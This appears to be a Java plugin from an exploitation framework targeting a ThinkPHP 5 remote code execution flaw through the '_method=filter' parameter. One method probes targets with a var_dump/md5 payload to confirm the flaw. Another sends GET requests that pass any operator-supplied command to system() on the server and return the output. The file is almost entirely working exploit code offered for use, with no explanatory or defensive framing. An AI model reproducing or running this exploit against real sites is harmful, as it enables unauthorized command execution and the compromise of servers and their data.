content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.util.ArrayList;
  
  
  public class tp5_method_filter_rce implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "f7e0b956540676a129760a3eae309294";
          ArrayList<String> payloads = new ArrayList<>();
          payloads.add(url + "/public/index.php?c=var_dump&f=md5(2333)&_method=filter");
          payloads.add(url + "/index.php?c=var_dump&f=md5(2333)&_method=filter");
  
          for (String payload : payloads) {
              try {
                  String res = HttpRequest.get(payload).body();
                  if (res.contains(CheckStr)) {
                      return new Result(true, "ThinkPHP 5 method filter RCE", payload);
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, "ThinkPHP 5 method filter RCE", null);
      }
  
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          ArrayList<String> payloads = new ArrayList<>();
          payloads.add(url + "/public/index.php?c=system&f=" + cmd + "&_method=filter");
          payloads.add(url + "/index.php?c=system&f=" + cmd + "&_method=filter");
          for (String payload : payloads) {
              try {
                  HttpRequest res = HttpRequest.get(payload);
                  if (res.serverError()) {
                      return new Result(true, null, res.body());
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
  
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  